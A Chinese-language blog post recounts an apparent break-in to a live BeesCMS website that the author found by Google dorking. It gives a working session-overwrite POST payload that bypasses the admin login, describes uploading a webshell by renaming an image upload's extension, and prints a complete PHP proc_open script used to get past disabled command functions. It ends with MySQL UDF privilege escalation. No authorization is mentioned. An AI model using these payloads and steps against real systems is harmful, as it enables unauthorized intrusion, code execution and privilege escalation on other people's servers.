【实战1】记一次提至administrator权限历程 - PaperPen
2019-5-11 11:1:0 Author: www.cnblogs.com(查看原文) 阅读量:6 收藏

本文首发于先知社区 https://xz.aliyun.com/t/5080

前言:这是一次挖掘cms通用漏洞时发现的网站,技术含量虽然不是很高,但是也拿出来和大家分享一下吧,希望能给一部分人带来收获。


0x01 进入后台

在通过googlehack语法挖掘beescms时发现了这个站点

 

利用网上的payload,在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000

然后访问/admin便可以直接进入后台

0x02 shell

进入后台后在‘添加产品模块’处寻找到了上传点

 

尝试上马,但提示‘上传图片格式不正确’,于是上传图片马抓包,在repeater里更改后缀为php,然后go

 

根据回显没有看出是否上传成功,但也没说失败。经过寻找在‘上传图片管理’处找到

 

点击图片发现解析了,直接菜刀连接,拿到shell

0x03 绕过安全模式

拿到shell后进入终端查看权限,但却发现执行命令失败,可能远程启用了安全模式

 

经过在网上一番查找得出:要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本,找到已禁用的函数

 

发现proc_open函数未被禁用,于是找到如下php脚本

<?php

    $descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符

    0=>array('pipe','r'), //STDIN

    1=>array('pipe','w'),//STDOUT

    2=>array('pipe','w') //STDERROR

);

    $handle=proc_open('whoami',$descriptorspec,$pipes,NULL);

    //$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)

    if(!is_resource($handle)){

        die('proc_open failed');

}

    //fwrite($pipes[0],'ipconfig');

    print('stdout:<br/>');

    while($s=fgets($pipes[1])){

    print_r($s);

}

    print('===========<br/>stderr:<br/>');

    while($s=fgets($pipes[2])){

    print_r($s);

}

    fclose($pipes[0]);

    fclose($pipes[1]);

    fclose($pipes[2]);

    proc_close($handle);

?>

上传后可以执行命令,成功绕过安全模式

0x04 提权

上图可以看出只是iis权限,能做的事很局限,所以要想办法提权。

菜刀中虽然不能执行命令,但是可以查看文件,于是找到了数据库配置文件

 

发现是mysql的数据库,想到udf提权,于是上传udf提权脚本

 

登录后导出udf便可以执行命令了

 

提权成功,但是不可以添加用户,也不能开3389


结语:希望路过的各位大佬可以指点迷津,也欢迎各位来找我交流探讨,感谢阅读。

参考链接:

https://www.cnblogs.com/R4v3n/articles/9081202.html php限制命令执行绕过


文章来源: https://www.cnblogs.com/paperpen/p/10847994.html
如有侵权请联系:admin#unsafe.sh